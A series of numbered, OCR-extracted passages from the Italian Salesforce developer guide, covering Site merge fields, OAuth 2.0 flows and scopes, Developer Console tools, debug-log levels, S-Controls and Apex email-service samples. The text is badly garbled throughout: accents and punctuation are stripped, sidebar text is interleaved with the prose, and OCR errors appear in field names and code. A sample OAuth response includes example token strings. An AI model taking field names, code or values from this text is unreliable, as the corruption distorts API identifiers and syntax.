326. l codice di tracciamento associato al proprio sito Questo codice pu essere utilizzato da servizi come Google Analytics per tracciare i dati richiesti sulle pagine del proprio sito Restituisce un URL di base per il sito corrente che non utilizza un sottodominio Force com L URL restituito utilizza lo stesso Ottimizzazione di Salesforce con il codice Campo unione Site BaselnsecureUrl Site BaseRequestUrl Site BaseSecureUrl Site BaseUrl Site MasterLabel Guida dell utente Componenti Apex Visualforce e Lightning 36 Descrizione protocollo HTTP o HTTPS della richiesta corrente se nel sito esiste almeno un URL personalizzato non Force com che supporta HTTPS Il valore restituito non termina mai con il carattere Se tutti gli URL personalizzati del sito terminano con force com o se il sito non ha URL personalizzati viene restituita una stringa vuota Se la richiesta corrente non riguarda un sito questo metodo restituisce una stringa vuota Questo campo sostituisce CustomWebAddress e contiene il prefisso di percorso dell URL personalizzato Restituisce un URL di base per il sito corrente che utilizza HTTP anzich HTTPS Viene utilizzato il dominio della richiesta corrente Il valore restituito contiene il prefisso di percorso e non termina mai con il carattere Se la richiesta corrente non riguarda un sito questo metodo restituisce una stringa vuota Restituisce l URL di base del sito corrente per l URL ri
327. l istanza dell organizzazione dell utente In questo esempio l istanza nal https nal salesforce com e id URLidentit che pu essere utilizzato sia per identificare l utente sia per chiedere pi informazioni sull utente Vedere URL identit a pagina 234 e sfdc community url se l utente membro di una comunit Salesforce viene fornito l URL della comunit e sfdc community id se l utente membro di una comunit Salesforce viene fornito l ID comunit dell utente e signature firma HMAC SHA256 con codifica base64 firmata con la chiave privata del consumatore contenente l ID concatenato e issued at Pu essere utilizzata per verificare che l URL identit non stato modificato dopo essere stato inviato dal server e issued at momento in cui la firma stata creata Di seguito illustrato un esempio di risposta JSON da Salesforce id https login salesforce com id 00Dx0000000BV7z 005x0000001209P issued at 1278448384422 instance url https nal salesforce com signature SSSbLO gBhmmyNUvN180DBDFYHzakxOMggYtu hDPsc access_token 00Dx0000000BV7z AR8AOPO ITN80ESEs 5EbaZTFGORNBaTlcyWk7T rqoDjoNIWO2ME sTZzBjfm0E6zMHqg6y8PIW4eWze9UksNEKWUl Cju7m4 token type Bearer scope id api refresh token Di seguito riportato un esempio di risposta XML lt Oauth gt lt access_token gt 00Dx0000000BV7z AR8AOP0 ITN80ESEs j5EbaZTFGORNB aTlcyWk7TrqgoDjoNIW0O2ME sTZzBj
328. l limite di traffico che se superata durante l intervallo di notifica impostato attiva l invio di una notifica all utente specificato Il valore deve essere compreso tra 0 e 100 e Periodo di tempo in cui viene misurato il numero di richieste in ore Ad esempio se l intervallo 24 affinch venga inviata una notifica necessario che il limite sia stato superato nelle 24 ore appena trascorse Se si modifica il periodo di tempo la nuova impostazione diventa effettiva solo dopo la successiva notifica del periodo di tempo esistente Si supponga ad esempio di aver impostato il periodo di tempo in modo da inviare notifiche ogni ora Poi alle 16 05 si imposta il periodo di tempo in modo da inviare notifiche ogni 24 ore L ultima notifica relativa al precedente periodo di tempo viene inviata alle 17 00 Quella successiva verr inviata alle 17 00 del giorno successivo VEDERE ANCHE Visualizzazione delle notifiche di utilizzo API Notifiche di utilizzo API Guida dell utente Integrazione di app con Salesforce 166 ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition ANOLON TAAA ON UTENTE Per visualizzare creare modificare o eliminare notifiche e API abilitata ID P4 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Dis
329. l numero di riga nel quale si desidera impostare il checkpoint possibile abilitare contemporaneamente fino a cinque checkpoint I risultati di un checkpoint verranno acquisiti una sola volta indipendentemente dal numero di volte in cui viene eseguita una riga di codice Per impostazione predefinita i risultati di un checkpoint verranno acquisiti immediatamente prima della prima esecuzione della riga di codice possibile modificare l iterazione dell acquisizione nell elenco Checkpoint Locations Posizioni checkpoint sulla scheda Checkpoints Checkpoint anche possibile sovrapporre l Apex Code e le istruzioni SOQL che vengono eseguiti all esecuzione del codice in un checkpoint 3 Eseguire il codice con la Console sviluppatore aperta 4 Visualizzare i propri checkpoint e risultati sulla scheda Checkpoints Checkpoint checkpoint rimangono finch non si fa clic su Debug Debug gt Clear Checkpoint Locations Cancella posizioni checkpoint O Nota Se si imposta un checkpoint in un metodo con l annotazione future necessario tenere aperta la Console sviluppatore finch il metodo future non viene completato in modo asincrono VEDERE ANCHE Log Inspector Controllo registri Sovrapposizione di Apex Code e istruzioni SOQL Scheda Checkpoints Checkpoint Checkpoint Inspector Controllo checkpoint Sovrapposizione di Apex Code e istruzioni SOQL Utilizzare la Console sviluppatore per sovrapporre la diagnostica che viene esegu
330. l profilo Reclutatore quando fanno clic sulla scheda Account mentre tutti gli altri utenti visualizzeranno la pagina iniziale della scheda Account standard Per implementare questa situazione per prima cosa creare un S Control di nome ApplicantHomePage con i contenuti che devono essere visualizzati dai reclutatori In seguito creare un S Control di tipo HTML utilizzando il seguente codice per implementare la logica di sostituzione condizionale lt script type text javascript gt determine the user profile name var recruiter IF Profile Name Recruiter true false when the profile is recruiter display a custom s control page if recruiter window parent location href urlFor SControl ApplicantHomePage else when the profile is not recruiter display the standard Accounts tab page window parent location href urlFor Action Account Tab ObjectType Account null true lt script gt Infine ignorare la scheda Account in modo che utilizzi l S Control HTML mostrato qui Questo esempio presume che nell organizzazione sia presente un profilo di nome Reclutatore Nota i campi di unione Profile sono disponibili solo nelle versioni Enterprise Edition Unlimited Edition Performance Edition e Developer Edition S Control che includono snippet Inclusione degli snippet Includere gli snippet nei propri Custom S Control per riutilizzare il codice comune L esempio seguente fa riferiment
331. l punto di vista della struttura le righe di metadati personalizzati sono simili alle righe di oggetti personalizzati Le righe di metadati personalizzati vengono create aggiornate ed eliminate nell API dei metadati o in Imposta Poich i record sono metadati possibile Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 248 effettuare la loro migrazione utilizzando pacchetti o strumenti dell API dei metadati record di metadati personalizzati sono di sola lettura nell Apex e nelle API Enterprise e Partner Con i tipi di metadati personalizzati possibile emettere un numero illimitato di query Salesforce Object Query Language SOQL per ogni transazione Apex tipi di metadati personalizzati supportano i seguenti tipi di campi personalizzati e Casella di controllo e Data e Dataeora e Email e Numero e Percentuale e Telefono e Testo e Area di testo e URL Un abbonato a un pacchetto gestito contenente un tipo di metadati personalizzato non pu aggiungere i propri campi a quel tipo Solo l organizzazione che sviluppa il tipo pu aggiungervi campi personalizzati campi dei metadati personalizzati sono gestibili ossia lo sviluppatore di un tipo pu decidere chi pu cambiare i valori dei campi dopo che sono stati distribuiti a un organizzazione abbonata e Bloccati dopo il rilascio Per qualsiasi record del tipo il valore del campo immutabile dopo la distribuzion
332. l quale vengono creati gli oggetti Apex Le classi sono protezione configurare le composte da altre classi metodi definiti dagli utenti variabili tipi di eccezioni e codice di impostazioni di versione inizializzazione statico Una volta salvati correttamente i metodi o le variabili delle classi possono mostrare le dipendenze ed essere chiamati da altro Apex code oppure mediante l API SOAP o il Toolkit AJAX per i metodi che eseguire test per le classi sono stati designati con la parola chiave webService Apex e Apex Autore La pagina Classi Apex consente di creare e gestire le classi Apex Per accedere alla pagina Classi Apex immettere Classi Apex nella casella Ricerca veloce quindi selezionare Classi Apex Per d sporre di ulteriori funzionalit di sviluppo utilizzare la Console sviluppatore Per creare una classe Apex dalla pagina Classi Apex fare clic su Nuova e scrivere l Apex code nell editor Gli sviluppa ori possono scrivere i metodi delle classi in base alla sintassi descritta nel manuale Force com Apex Code Developer s Guide ma le classi possono anche essere generate automaticamente utilizzando un documento WSDL memorizzato su un disco rigido locale o su una rete La creazione di una classe mediante un documento WSDL consente agli sviluppatori di effettuare delle chiamate al servizio Web esterno nel proprio Apex Dalla pagina Classi Apex fare clic su Genera da WSDL per generare una classe Apex da un documento
333. l sito Se non esiste nessuno dei due elementi restituisce una stringa vuota Tenere presente che il percorso dell URL sempre la radice anche se il percorso dell URL personalizzato della richiesta ha un prefisso Se la richiesta corrente non riguarda un sito questo campo restituisce una stringa vuota Il valore di questo campo termina sempre con il carattere L uso di Site CustomWebAddress non consigliato al suo posto si consiglia di utilizzare Site BaseCustomUrl Ottimizzazione di Salesforce con il codice Campo unione Site OriginalUrl Site CurrentSiteUrl Site LoginEnabled Site RegistrationEnabled Site IsPasswordExpired Site AdminEmailAddress Site Prefix Site Template Site ErrorMessage Site ErrorDescription Site AnalyticsTrackingCode Site BaseCustomUrl Guida dell utente Componenti Apex Visualforce e Lightning 35 Descrizione Restituisce l URL originale di questa pagina se si tratta di una pagina di errore designata per il sito in caso contrario restituisce null Restituisce l URL di base del sito corrente che deve essere utilizzato dai riferimenti e dai link Tenere presente che questo campo potrebbe restituire l URL della pagina referrer anzich l URL della richiesta corrente Il valore di questo campo contiene un prefisso di percorso e termina sempre con il carattere Se la richiesta corrente non riguarda un sito questo campo restituisce una stringa vuota L us
334. l token OAuth tra parentesi Accedere e gestire i propri feed Chatter chatter_api Consente di accedere solo alle risorse API REST Chatter Accedere e gestire i propri dati api Consente di accedere all account dell utente connesso tramite API come API REST e API in blocco Questo valore include anche chatter api che consente l accesso alle risorse API REST Chatter Accedere alle informazioni di base id profilo email indirizzo telefono Consente l accesso al servizio URL identit Accedere alle autorizzazioni personalizzate Custom_permissions Consente di accedere alle autorizzazioni personalizzate di un organizzazione associate all applicazione connessa e mostra se per l utente corrente sono abilitate le singole autorizzazioni Consentire l acceso al proprio identificatore univoco openid Consente di accedere all identificativo univoco dell utente che ha effettuato l accesso per le app OpenID Connect Accesso completo completo Consente di accedere a tutti i dati accessibili per l utente connesso e comprende tutti gli altri ambiti full non restituisce un token di aggiornamento Per ottenere un token di aggiornamento necessario richiedere esplicitamente l ambito refresh _ token Eseguire richieste per conto dell utente in qualsiasi momento refresh_token offline_access Consente di restituire un token di aggiornamento se si ha diritto a riceverne uno Ci consente all app di interagire con i dati dell utente mentre offline
335. l utente Integrazione di app con Salesforce 147 Impostazione dell ora di scadenza del gruppo dei link azioni Durante la creazione di un gruppo dei link azioni a partire da un modello possibile calcolare la data di scadenza in base a un periodo di tempo fornito dal modello oppure possibile impostare il gruppo dei link azioni in modo che non abbia alcuna scadenza Per impostare il numero di ore prima della scadenza in un modello immettere un valore nelcampo Ore prima della scadenza del modello di gruppo dei link azioni Questo valore corrisponde al numero di ore da quando il gruppo dei link azioni viene istanziato fino a quando viene eliminato dagli elementi feed associati e non pu pi essere eseguito Il valore massimo 8760 corrispondente a 365 giorni Per impostare la data di scadenza del gruppo dei link azioni al momento dell istanziazione impostare la propriet expirationDate del corpo della richiesta Definizione del gruppo dei link azioni API REST Chatter o la classe di input ConnectApi ActionLinkGroupDefinition Apex Per creare un gruppo dei link azioni privo di scadenza non immettere alcun valore nel campo Ore prima della scadenza del modello e non immettere alcun valore per la propriet expirationDate al momento dell istanziazione del gruppo dei link azioni Di seguito viene descritto il funzionamento di expirationDate e Ore prima della scadenza durante la creazione di un gruppo dei link azioni da un modello
336. la scheda stessa Ad esempio il codice sorgente di apre nel Source Code Editor Editor codice sorgente i registri nel Log Inspector Controllo registri e cos via possibile creare un area di lavoro per ogni gruppo di risorse che si utilizzano insieme per mantenere organizzato il proprio lavoro Ad esempio possibile creare un area di lavoro per il codice sorgente e un altra per i registri debug passando da una all altra mentre si scrive il codice e si eseguono i test Vedere Aree di lavoro della Console sviluppatore Pannello di registri test e problemi Il pannello inferiore della Console sviluppatore include una raccolta di schede utili e La scheda Logs Registri visualizza i registri disponibili e La scheda Tests Test visualizza i test disponibili e La scheda Checkpoints Checkpoint visualizza i checkpoint disponibili e La scheda Query Editor Editor di query consente di eseguire una query SOQL o SOSL sui dati della propria organizzazione e Lascheda View State Stato visualizzazione se abilitata consente di esaminare lo stato della visualizzazione di una pagina Visualforce e Lascheda Progress Avanzamento visualizza tutte le richieste asincrone in tempo reale Per visualizzare solo le operazioni in corso selezionare Hide Finished Runs Nascondi esecuzioni terminate Per interrompere le eventuali distribuzioni che non sono state completate fare clic su Cancel All Deployments Annulla tutte le distribuzioni
337. laborazione del registro debug non vengono troncate e faranno sempre parte del registro debug ma le altre informazioni di registro che vengono visualizzate tra le righe iniziale e finale di tali voci di registro vengono eliminate nell ambito del troncamento del registro VEDERE ANCHE Ricerche in un registro debug Ordine di precedenza del registro debug Gli eventi registrati dipendono da vari fattori inclusi i flag di traccia i livelli di registrazione predefiniti l intestazione API l abilitazione del registro di sistema basato sull utente e i livelli impostati dai punti di ingresso L ordine di precedenza per i livelli del registro debug il seguente di registrazione 1 flag di traccia escludo ogni altra logica di registrazione La Console sviluppatore imposta un flag di traccia quando viene caricata e tale flag di traccia rimane valido fino a possibile impostare i flag di traccia nella Console sviluppatore o in Imposta oggetti Tooling API TraceFlag e DebugLevel la sua scadenza utilizzando gli O Nota l impostazione dei flag di traccia di classi e trigger non determina la generazione o il salvataggio dei registri flag di traccia di classi e trigger escludono gli altri livelli di registrazione inclusi quelli impostati dai flag di traccia dell utente ma non danno luogo alla registrazione Se la registrazione abilitata durante l esecuzione de trigger i registri vengono generati al momento dell esecuzione
338. le pagine per la pagina Visualforce che contiene il flusso Per eseguire il flusso gli utenti esterni ad esempio quelli di una comunit devono poter accedere alla pagina Visualforce Per eseguire il flusso gli utenti interni devono poter accedere alla pagina Visualforce e Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 85 6 Impostare il comportamento finale dei flussi per specificare che cosa accade quando un utente fa clic su Fine nella schermata di un flusso VEDERE ANCHE Protezione delle pagine Visualforce Guida per lo sviluppatore di Visualforce Rendering dei flussi con Visualforce Esempi di reindirizzamento degli utenti del flusso da una pagina Visualforce Dopo aver incorporato un flusso in una pagina Visualforce reindirizzare gli utenti a un altra schermata DAON di Salesforce quando fanno clic su Fine Per eseguire questa operazione configurare l attributo finishLocation Disponibile nelle versioni Salesforce Classic e Nota Non possibile reindirizzare gli utenti del flusso a un URL esterno alla propria is Lightning Experience organizzazione Salesforce Per indirizzare gli utenti a un altra pagina Visualforce Disponibile nelle versioni Impostare l attributo finishLocation su Page YourPage Enterprise Edition Performance Edition Questo esempio indirizza gli utenti alla pagina MyUniquePage di Visualforce Unlimited Edition e Developer Ed
339. le versioni Salesforce Classic e Lightning Experience Posso chiamare un servizio Web esterno con Apex Disponibile nelle versioni Enterprise Edition Performance Edition S possibile chiamare operazioni di servizi Web mediante Apex Tramite la pagina Classi Apex necessario generare una classe Apex dal documento WSDL del servizio Web esterno prima di poterne chiamare i metodi Unlimited Edition Developer Edition e VEDERE ANCHE Database com Edition Domande frequenti su Apex Quali sono i tipi di schemi WSDL supportati per le chiamate Apex Per le chiamate Apex supporta solo lo stile con a capo automatico dei valori letterali per il documento WSDL oltre ai tipi di dati primitivi e integrati Si consiglia di verificare il documento WSDL e di controllare che contenga tipi di schemi supportati Se un tipo non supportato da Apex una chiamata a un operazione di un servizio Web pu generare un errore nella risposta quale Impossibile analizzare la risposta alla chiamata Tipo Apex per voce elemento non trovato VEDERE ANCHE Domande frequenti su Apex Che differenza c fra classi e trigger Apex Una classe Apex un modello in base al quale vengono creati gli oggetti Apex Le classi sono composte da altre classi metodi definiti dagli utenti variabili tipi di eccezioni e codice di inizializzazione statico Un trigger Apex code che viene eseguito prima o dopo che si sono verificati eventi DML data manipulation lan
340. lementato in un browser mediante un linguaggio di script come JavaScript oppure da un dispositivo mobile o da un applicazione desktop Questi consumatori non possono mantenere la riservatezza del segreto del client Flusso token di aggiornamento OAuth 2 0 dopo che il consumatore stato autorizzato per l accesso pu utilizzare un token di aggiornamento per ottenere un nuovo token di accesso ID sessione Questo avviene solo dopo che il consumatore ha gi ricevuto un token di aggiornamento utilizzando il server Web o il flusso utente agente Flusso token bearer JWT OAuth 2 0 il flusso token bearer JWT OAuth 2 0 definisce in che modo un JWT pu essere utilizzato per richiedere un token di accesso OAuth a Salesforce quando un client desidera utilizzare un autorizzazione precedente L autenticazione dell applicazione autorizzata viene fornita da una firma digitale applicata al JWT Flusso di asserzioni bearer SAML OAuth 2 0 il flusso di asserzioni bearer SAML OAuth 2 0 definisce in che modo un asserzione SAML pu essere utilizzata per richiedere un token di accesso OAuth quando un client desidera utilizzare un autorizzazione precedente L autenticazione dell applicazione autorizzata viene fornita da una firma digitale applicata all asserzione SAML Flusso di asserzioni SAML il flusso di asserzioni SAML un alternativa per le organizzazioni che attualmente utilizzano SAML per accedere a Salesforce e desiderano accedere all API servizi Web allo
341. lesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 127 Nome attributo Descrizione Precompila nella Questa opzione conserva l S Control in memoria il che pu migliorare le prestazioni quando la pagina pagina viene ricaricata perch non necessario ricaricare anche l S Control Questa opzione valida solo per gli S Control HTML Codifica L impostazione di codifica predefinita Unicode UTF 8 Modificarla se si stanno trasmettendo informazioni a un URL che richiede i dati in un formato diverso Questa opzione disponibile solo se si seleziona URL come Tipo VEDERE ANCHE Informazioni sugli S Control S Control utili Suggerimenti sulla creazione degli S Control Eliminazione dei Custom S Control O Importante Le pagine Visualforce sostituiscono gli S Control Le organizzazioni che non hanno mai utilizzato gli S Control non li possono creare Gli S Control esistenti restano invariati e potranno sempre essere modificati Per eliminare un Custom S Control 1 Innanzitutto verificare che l S Control non sia utilizzato da altri componenti da Imposta immettere S Contro1 nella casella Ricerca veloce quindi selezionare S Control selezionare l S control e fare clic su Dove si utilizza 2 Fare clic di nuovo su S Control 3 Fare clic su Canc accanto al Custom S Control che si desidera eliminare 4 Fare clic su OK per confermare Nota Non possibile eliminare un Custom S Control utili
342. lesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 113 System debug New Task Object newTask If an exception occurs when the query accesses the contact record a QueryException is called The exception is written to the Apex debug log catch QueryException e System debug Query Issue e Set the result to true No need to send an email back to the user with an error message result success true Return the result for the Apex Email Service return result Esempio 2 Gestione della cancellazione dell indirizzo email Le aziende che inviano messaggi email di marketing ai loro clienti esistenti e potenziali devono poter consentire ai destinatari di disiscriversi Quello che segue un esempio di come un servizio di email pu elaborare le richieste di cancellazione Il codice ricerca la parola unsubscribe nella riga dell oggetto dei messaggi in entrata Trovata la parola il codice cerca tutti i referenti e i lead che corrispondono all indirizzo inserito nel campo Da e imposta il campo Fuori lista email HasoptedOutOfEmai1 su Vero Global class unsubscribe implements Messaging inboundEmailHandler Global Messaging InboundEmailResult handleInboundEmail Messaging InboundEmail email essaging InboundEnvelope env Create an inboundEmailResult object for returning the result of the email servic
343. lezionare Autorizzazioni personalizzate 2 Fare clic su Modifica accanto all autorizzazione da modificare 3 Modificare le informazioni relative all autorizzazione secondo le proprie esigenze e Etichettai l etichetta dell autorizzazione che appare negli insiemi di autorizzazioni Nome il nome univoco utilizzato dall API e dai pacchetti gestiti e Descrizione sesi desidera una descrizione che spiega a quali funzioni l autorizzazione concede l accesso ad esempio Approva richieste di permesso e Applicazione connessa se si desidera l applicazione connessa associata all autorizzazione 4 Fare clic su Salva VEDERE ANCHE Autorizzazioni personalizzate ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition Nelle organizzazioni Group Edition e Professional Edition non possibile creare o modificare autorizzazioni personalizzate ma possibile installarle come parte di un pacchetto gestito TANGO NPZZAVA O N UTENTE Per modificare le autorizzazioni personalizzate e Gestisci autorizzazioni personalizzate Ottimizzazione di Salesforce con il codice Aggiunta o eliminazione di autorizzazioni personalizzate richieste Un autorizzazione personalizzata richiesta un autorizzazione personalizzata che deve essere a
344. li altri tipi di esecuzione tranne DML I pulsanti sono di attivazione disattivazione fare clic una volta per escludere un tipo di operazione dall elenco Fare clic nuovamente per disabilitare il filtro Per visualizzare solo il DML fare clic su Methods Metodi Queries Query Workflow Flusso di lavoro Callouts Chiamate Validations Convalide Triggers Trigger e Visualforce Pages Pagine Visualforce e dettagli dell operazione DML mostrano il tipo di oggetto interessato e la specifica operazione eseguita inserimento aggiornamento e cos via possibile vedere anche quante volte stata eseguita un istruzione DML il numero di righe e cos via e Sesifa clic su un elemento di una richiesta DML nella scheda Executed Units Unit eseguite il registro esecuzioni esclude tutte le altre parti della richiesta e visualizza solo quell istruzione DML inoltre possibile utilizzare queste procedure per cercare e applicare filtri alle query Valutazione delle prestazioni di una pagina Visualforce Scenario si supponga di avere una pagina Visualforce e un controller Apex che esegue le query SOQL Come fare per analizzare le prestazioni della pagina e scoprire quale unit di codice ha richiesto pi tempo Come si determina quante query vengono eseguite nella richiesta Come verificare quanto ci si sta avvicinando ai limiti stabiliti dall amministratore 1 Nel riquadro Stack Tree Albero stack cercare il nome della pagina Visualfor
345. li del pacchetto VEDERE ANCHE Definizione di trigger Apex Gestione delle impostazioni di versione per Apex Per facilitare la compatibilit retroattiva le classi vengono memorizzate con le impostazioni di versione di una versione specifica di Apex e dell API Se la classe Apex fa riferimento a componenti di pacchetti gestiti installati ad esempio un oggetto personalizzato vengono salvate anche le impostazioni di versione per ogni pacchetto gestito a cui la classe fa riferimento Questo garantisce che all evolversi di Apex dell API e dei componenti nei pacchetti gestiti nelle versioni successive una classe o un trigger siano sempre collegati alle versioni con un comportamento specifico e noto La versione di un pacchetto un numero che rappresenta l insieme di componenti caricati in un pacchetto Il numero della versione ha il formato majorNumber minorNumber patchNumber ad esempio 2 1 3 In caso di rilascio principale i numeri principale e secondario vengono aumentati a un valore determinato Il patchNumber viene generato e aggiornato soltanto per i rilasci patch Gli autori della pubblicazione possono utilizzare le versioni di pacchetto per far evolvere i componenti dei pacchetti gestiti in modo fluido rilasciando le versioni successive in modo da non interrompere le integrazioni esistenti dei clienti che utilizzano il pacchetto Per impostare la versione dell API Salesforce e di Apex per una classe o un trigger 1 Modificare una cl
346. li i campi personalizzati e le regole di convalida possono essere visualizzati nell elenco ma non in dettaglio Nota Non possibile visualizzare o modificare i contenuti dei pacchetti gestiti installati nella propria organizzazione possibile sfogliare aprire e modificare le entit dei pacchetti non gestiti come avviene per quelli creati dall utente VEDERE ANCHE Source Code Editor Editor codice sorgente Log Inspector Controllo registri Object Inspector Controllo oggetti Menu Edit Modifica Il menu Edit Modifica della Console sviluppatore consente di cercare e modificare i propri file di codice e Find Trova cerca il testo selezionato nella visualizzazione corrente Se non selezionato alcun testo apre una finestra di ricerca del browser e Find Next Trova successivo trova la corrispondenza successiva per il testo selezionato o specificato nella visualizzazione corrente e Find Replace Trova Sostituisci trova e sostituisce il testo selezionato o specificato nella visualizzazione corrente e Search in Files Ricerca nei file apre una finestra di dialogo di ricerca per eseguire una ricerca nei contenuti di tutti i file di codice e Fix Indentation Correggi rientri corregge i rientri nel file di codice corrente Guida dell utente Console sviluppatore 10 Ottimizzazione di Salesforce con il codice Menu Debug Il menu Debug della Console sviluppatore consente di gestire i registri e di eseguire Apex Co
347. li utenti dell organizzazione Salesforce e a indirizzi email arbitrari Per impostare queste notifiche tramite email da Imposta immettere Email eccezione Apex nella casella Ricerca veloce quindi selezionare Email eccezione Apex anche possibile configurare le email delle eccezioni Apex utilizzando l oggetto ApexEmailNotification Tooling API O Nota se si verificano eccezioni duplicate in Apex code che vengono eseguite in modalit sincrona le email delle eccezioni successive vengono eliminate e viene inviato solo il primo messaggio email Questa eliminazione dei messaggi email evita che la posta in arrivo dello sviluppatore venga sovraccaricata con messaggi email relativi allo stesso errore Per Apex in modalit asincrona inclusi i batch Apex e i metodi annotati con future i messaggi email per le eccezioni duplicate non vengono eliminati Eccezioni non gestite nell interfaccia utente Se un utente finale incontra un eccezione che si verificata in Apex code durante l utilizzo dell interfaccia utente standard viene visualizzato un messaggio di errore che include un testo simile alla notifica mostrata di seguito Guida dell utente Componenti Apex Visualforce e Lightning 54 ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Performance Edition Unlimited Edition Developer Edition Enterprise Edition e Database com Edition ANOLON TAAA ON UTENTE
348. licazione con le API e sull autenticazione delle applicazioni esterne e Debug del codice Eseguire il debug dell applicazione utilizzando la Console sviluppatore e Test delle modifiche Testare l Apex Code e utilizzare gli strumenti di test e Distribuzione Distribuire le modifiche a un altra organizzazione utilizzando le serie di modifiche e altri strumenti Per l elenco completo della documentazione sviluppatore vedere https developer salesforce com page Documentation Strumenti di sviluppo di Salesforce Questa tabella riassume le funzionalit dei diversi strumenti di sviluppo di Salesforce EDIZIONI Strumento Codice Debug Test Dbi Disponibile da Disponibile nelle versioni Console sviluppatore Force com I m Nome o il menu di Salesforce Classic accesso rapido Id Gli strumenti disponibili variano secondo la versione IDE Force com e y e dv developer salesforce com Edition di Salesforce utilizzata Pi di pagina modalit di dv mposta o sviluppo Visualforce impostazioni personali Editor di codice mpostazione Esecuzione dei test Apex e mpostazione Serie di modifiche dg mpostazione Strumento di migrazione 2 mpostazione Force com Ottimizzazione di Salesforce con il codice Guida dell utente Codice 2 O Nota L IDE Force com una risorsa gratuita fornita da Salesforce a supporto dei propri utenti e partner ma non considerato parte dei Servizi ai fini dell Accordo Quadro di Sottoscrizione di Salesfo
349. licazioni connesse nella casella Ricerca veloce quindi selezionare l opzione di gestione delle applicazioni connesse e le applicazioni connesse Salesforce installate automaticamente verranno visualizzate nell elenco delle applicazioni installate da pacchetti gestiti assieme alle altre applicazioni connesse installate VEDERE ANCHE Provisioning utente per applicazioni connesse Modifica di un applicazione connessa AUTORIZZAZIONI UTENTE DAON Per leggere Personalizza applicazione Disponibile nelle versioni Salesforce Classic e Lightning Experience Per creare aggiornare o eliminare Personalizza applicazione E Modifica tutti i dati O Gestisci applicazioni e Le applicazioni connesse connesse possono essere create nelle Per aggiornare tutti i campi tranne Profili Personalizza applicazione SACRI Group Edition Insiemi di autorizzazioni e Attributi SAML Professional Edition provider di servizi Enterprise Edition Performance Edition Per aggiornare Profili Insiemi di Personalizza applicazione E Modifica tutti Unlimited Edition e autorizzazioni e Attributi SAML provider di i dati Developer Edition servizi Sodi Le applicazioni connesse Per disinstallare Scarica pacchetti AppExchange possono essere installate in tutte le versioni possibile modificare le impostazioni e le autorizzazioni di un applicazione connessa Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Sal
350. livelli di registro per le categorie del registro debug ad esempio Database Flusso di lavoro Convalida e cos via Un flag di traccia include un livello debug un ora di inizio un ora di fine e un tipo di registro tipi di registro sono DEVELOPER LOG USER DEBUG e CLASS _TRACING Quando si apre la Console sviluppatore quest ultima imposta un flag di traccia DEVELOPER_LOG per registrare le attivit dell utente flag di traccia USER DEBUG determinano la registrazione delle attivit di un singolo utente flag di traccia CLASS _TRACING escludono i livelli di registrazione per le classi e i trigger Apex ma non generano registri Quando si utilizza la Console sviluppatore o si effettua il monitoraggio di un registro debug possibile specificare il livello delle informazioni da includere nel registro Log category Categoria di registro Il tipo di informazioni registrate ad esempio informazioni provenienti da Apex o dalle regole di flusso di lavoro Ottimizzazione di Salesforce con il codice Guida dell utente Registri debug 281 Log level Livello di registro La quantit di informazioni registrate Event type Tipo di evento La combinazione di categoria e livello del registro che indica quali eventi vengono registrati Per ogni evento possono essere registrate informazioni aggiuntive ad esempio il numero di riga e di carattere in corrispondenza dei quali iniziato l evento
351. lizzo del framework Componente Lightning per la creazione di componenti e app presenta numerosi vantaggi Insieme di componenti pronto per l uso Viene fornito con un insieme di componenti pronto per l uso per iniziare subito la creazione di app Non occorre sprecare tempo per ottimizzare le app per diversi dispositivi dal momento che i componenti svolgono l intero lavoro Prestazioni Utilizza un architettura client con stato e server senza stato basata su JavaScript sul lato client per gestire i metadati e i dati delle applicazioni dei componenti dell interfaccia utente Il client chiama il server solo se assolutamente necessario ad esempio per ricevere pi metadati o dati Per ottimizzare l efficienza il server invia soltanto i dati necessari all utente Il framework utilizza JSON per lo scambio dei dati tra il server e il client Utilizza in modo intelligente il server il browser i dispositivi e la rete permettendo di concentrarsi sulla logica e le interazioni delle proprie app Architettura guidata dagli eventi Guida dell utente Componenti Apex Visualforce e Lightning 87 DAON Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile per l uso nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition possibile creare componenti Lightning utilizzando l interfaccia utente nelle versio
352. ll applicazione di interagire con i dati dell utente mentre questi offline ed sinonimo della richiesta offline access ID P4 0 N Disponibile nelle versioni Salesforce Classic Disponibile in tutte le versioni YANG O NPZZAVA O N UTENTE Per gestire creare modificare ed eliminare le applicazioni OAuth e Gestisci applicazioni connesse Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 231 Valore Descrizione visualforce Consente di accedere alle pagine Visualforce web Consente di utilizzare access token sul Web incluso anche visualforce che consente di accedere alle pagine Visualforce Tutti i valori di ambito includono automaticamente i d quindi indipendentemente dai valori passati per scope si avr sempre accesso agli URL identit Quando un utente approva le applicazioni il valore dell ambito viene archiviato con il token di aggiornamento Ad esempio se un utente approva un applicazione con un ambito id iltoken di aggiornamento viene creato con scope id Quindi se l utente approva una seconda applicazione con un ambito diverso ad esempio api il token di aggiornamento viene creato con scope api Sia le richieste token bearer JSON che le richieste token bearer SAML analizzano gli ambiti di tutti i token di aggiornamento precedenti e li combinano tra loro Nel precedente esempio il risultato sarebbe un token di accesso con scope id 20
